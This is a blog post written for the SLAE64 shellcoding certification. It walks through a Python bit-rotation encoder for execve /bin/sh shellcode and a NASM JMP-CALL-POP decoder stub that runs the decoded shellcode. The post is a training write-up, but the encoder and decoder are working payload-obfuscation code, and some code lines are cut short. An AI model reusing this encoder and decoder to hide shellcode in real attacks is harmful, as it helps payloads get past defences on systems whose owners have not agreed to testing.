Skip to main content

SLAE64 - Assignment 4

This post is a continuation of a seven (7) part blog series as part of the SLAE64 certification challenge. You can read the previous blog posts using the links below.

Previous Posts:

The requirements for Assignment 4 are as follows:
  • Create a Custom encoding scheme like the "Insertion Encoder" we showed you
  • PoC with using execve-stack as the shellcode to encode with your schema and execute
The full scripts for this assignment can be found here:

Supplemental scripts for this assignment can be found here:

For this one, we re-used a nice python script we made for SLAE32 based off of a function found here:

We did this because there really wasn't a pre-existing bitwise rotation functionality already built into Python. It winds up working out really well actually. This script will define two (2) functions ror for rotate right, and rol for rotate left. We'll use the ror function to rotate each bit within our shellcode by 2 places. When we write our decoder in NASM, we'll need to perform the opposite operation and rotate our encoded shellcode two (2) places left using rol, so that we return our shellcode to its original working state.

#!/usr/bin/env python

# by Michael Born (@blu3gl0w13)
# Student-ID: SLAE64-1439
# November 8, 2016

# handle our imports

import sys

# The following Bitwise rotation functions
# have been translated from the following blog

def ror(valueToBeRotated, rotateAmount):

  return ((valueToBeRotated & 0xff) >> rotateAmount % 8) | 
(valueToBeRotated << (8 - (rotateAmount % 8)) & 0xff)

def rol(valueToBeRotated, rotateAmount):

  return ((valueToBeRotated << (rotateAmount % 8)) & 0xff) | 
((valueToBeRotated & 0xff) >> (8 - (rotateAmount % 8)))

shellcode = ("\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53

encshellcode = ""
encshellcode2 = ""

for i in bytearray(shellcode):

  x = ror(i, 2)
  #x = i >> 2
  encshellcode += "\\x%02x," % x
  encshellcode2 += "0x%02x," % x

print "\n\nEncoded Shellcode: %s" % encshellcode
print "Encoded Shellcode 2: %s\n\n" % encshellcode2
When we run to encode our Execve shellcode we get the output in Figure 1. This is excellent because we don't have any NULL bytes which is important because NULL bytes usually represent bad characters in shellcode when used in an exploit.

Now that we've gotten our written and working, we can focus on writing our decoder script. It definitely doesn't have to be very long either. For this script, we'll employ the JMP, CALL, POP technique to dynamical retrieve the address of our encoded shellcode. We first JMP to our shellcode label, then CALL our decoder label. This has the effect of pushing the address to encShellcode onto the stack when the CALL happens. That's because the address to encShellcode is already in RIP because it's the next instruction following the CALL. Following a CALL instruction, RIP is pushed onto the stack. Pretty cool right?

Our first instruction in our decoder block is to POP that address off of the stack into RSI. This is for easy reference later in the script as we loop through our decode instructions. We'll next initialize RCX using an XOR instruction, and will then copy the length of our encShellcode into CL. Remember, in x86_64 assembly, RCX is used as a loop counter. We only want to loop through the length of the our encoded shellcode so that we don't accidentally overwrite adjacent areas of memory. Finally, to finish our decoder section, we'll initialize RDX in order to use it as a temporary holder for each byte of our encoded shellcode. Our decode block actually handles the decoding. We move one byte at a time into DL, rotate it left two positions, and then return it to its location pointed to by RSI. We then increase the address in RSI by one and, as long as RCX isn't zero, use the LOOP instruction to start the process over again. This continues until RCX is zero (ZF set) and we JMP SHORT into our now decoded shellcode.

; decoder-execve.nasm
; by Michael Born (@blu3gl0w13)
; November 8, 2016
; Student ID: SLAE64-1439

global _start

section .text


 ; to get address of our
 ; encoded shellcode

 jmp shellcode

 pop rsi
 xor rcx, rcx
 mov cl, shellLen
 xor rdx, rdx 
 mov dl, byte [rsi]
 rol dl, 0x2
 mov byte [rsi], dl
 inc rsi
 loop decode
 jmp short encShellcode

 call decoder
 encShellcode: db  0x12,0x4c,0x30,0x14,0x12,0xee,0xcb,0x98,0x5a,0x9b,0xcb,0xcb,\
 shellLen: equ $-encShellcode

Here's what the decoder shellcode looks like. Notice any NULL bytes? You shouldn't because we were extra careful to make sure no NULL bytes made it into our decoder.


When we compile and run the decoder-execve.nasm script we get a Segmentation Fault. Why is that? It's because we're trying to write to read only memory! Look at Figure 2 below and see that as soon as we try to execute MOV byte [RSI], dl the program freaks out.

How can we take care of this. One way is to dump the shellcode from our compiled decoder-execve.nasm script, and put it into a C program. We'll then compile the C program to allow execution in normally write protected areas of memory. This way we can test to see if our shellcode works. And guess what? It does! And, probably the best part, it's only 62 bytes! Fantastic.

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert 64-bit certification:

Student ID: SLAE64 - 1439

Next: SLAE64 - Assignment 5


Popular posts from this blog

SLAE/SLAE64 Course Review

  After recently finishing both the SLAE ( ) and SLAE64 ( ) courses available through SecurityTube Training, and earning both certifications, I thought I would write a review of the training itself. Personally, I chose these course as a way to learn Assembly in preparation for the Crack The Perimeter (CTP) course and OSCE certification. After taking the Pentesting With Kali (PWK) class and earning the OSCP, I knew I needed to fill some gaps in my knowledge, and specifically with C and Assembly programming. Seeing that there aren't many training offerings that aim to teach Assembly specific to penetration testing and shellcoding, I gave SLAE a try.   If you don't care about the certification itself, you can obtain all of SecurityTube's videos for a small monthly fee through P

Binary Analysis Cookbook: The Process and Working with Packt

Hello to you, yes you, reading this blog. Thank you for stopping by and I apologize for going silent for a while. Life has been busy in one way or another and unfortunately, this was one area that suffered. Thank you for understanding and please read on. At the end of 2018, I received a LinkedIn message from someone at Packt Publishing inquiring whether I would have any interest in writing a book for them. Naturally, and partly due to my lack of knowledge or experience with the process, I was a bit skeptical. I replied to the e-mail and said I would be interested in finding out more, all while nearly simultaneously I reached out to Packt via their web contact form to verify this person was who she said she was. I mean after all, this kind of thing doesn't normally happen to me and I have done what I can to regain some of my public anonymity following a career in broadcast television.

SLAE32 - Assignment 1

In preparation for the next Offensive Security certification class and challenge (CTP and OSCE), I decided to invest some time and energy into the Security Tube Linux Assembly Expert 32-bit class. That way I can have a solid foundation in understanding the finer workings of Assembly. Especially since my focus for my second Bachelor's degree was more along the lines of system administration and back-end web development instead of the programming focus of Computer Science. Still, I never stop with my learning and barely slow down at times. This was the first assignment out of seven (7) and the requirements for assignment one (1) were as follows: Create a Shell_Bind_TCP shellcode Binds to a port Execs shell upon connection The PORT number should be easily configurable This is a pretty standard request but I must admit the process was only somewhat familiar. I knew I could write the code pretty easily once I understood the process. For this, I had to fall back on my love